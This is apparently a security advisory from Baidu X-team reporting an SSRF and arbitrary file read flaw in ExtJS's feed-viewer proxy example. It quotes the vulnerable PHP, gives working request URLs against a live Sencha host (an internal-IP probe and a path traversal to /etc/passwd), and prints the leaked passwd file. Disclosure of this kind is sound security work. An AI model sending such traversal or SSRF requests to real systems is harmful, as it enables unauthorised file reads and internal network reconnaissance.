extjs Arbitrary File Read

`Hi all£º  
  
Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http services  
  
File: /examples/feed-viewer/feed-proxy.php line:3-line:6  
  
$feed = $_REQUEST['feed'];  
  
  
if($feed != '' && strpos($feed, 'http') === 0){  
  
  
header('Content-Type: text/xml');  
  
  
$xml = file_get_contents($feed);  
  
  
  
  
When we request like this url  
http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http://10.1.1.1  
  
if the resource exist,we can get internal http services info  
  
¡°strpos($feed, 'http') === 0¡± we can request this url to bypass the restrictions achieve arbitrary file read  
  
http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwd  
  
  
view the HTML source code  
  
  
root:x:0:0:Web-useast4 root:/root:/bin/bash  
  
  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
  
  
bin:x:2:2:bin:/bin:/bin/sh  
  
  
sys:x:3:3:sys:/dev:/bin/sh  
  
  
sync:x:4:65534:sync:/bin:/bin/sync  
  
  
games:x:5:60:games:/usr/games:/bin/sh  
  
  
man:x:6:12:man:/var/cache/man:/bin/sh  
  
  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
  
  
mail:x:8:8:mail:/var/mail:/bin/sh  
  
  
news:x:9:9:news:/var/spool/news:/bin/sh  
  
  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
  
  
proxy:x:13:13:proxy:/bin:/bin/sh  
  
  
www-data:x:33:33:Web-useast4 www-data:/var/www:/bin/sh  
  
  
backup:x:34:34:backup:/var/backups:/bin/sh  
  
  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
  
  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
  
  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
  
  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
  
  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
  
  
syslog:x:101:103::/home/syslog:/bin/false  
  
  
messagebus:x:102:105::/var/run/dbus:/bin/false  
  
  
landscape:x:103:108::/var/lib/landscape:/bin/false  
  
  
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin  
  
  
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash  
  
  
ntp:x:105:111::/home/ntp:/bin/false  
  
  
snmp:x:106:112::/var/lib/snmp:/bin/false  
  
  
statd:x:107:65534::/var/lib/nfs:/bin/false  
  
  
postfix:x:108:114::/var/spool/postfix:/bin/false  
  
  
  
  
  
Submitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team  
  
________________________________  
Id:Yaseng  
Hi: Hisengberg  
Team: Baidu X-team  
E-mail:[email protected]<mailto:[email protected]>  
[tips]  
`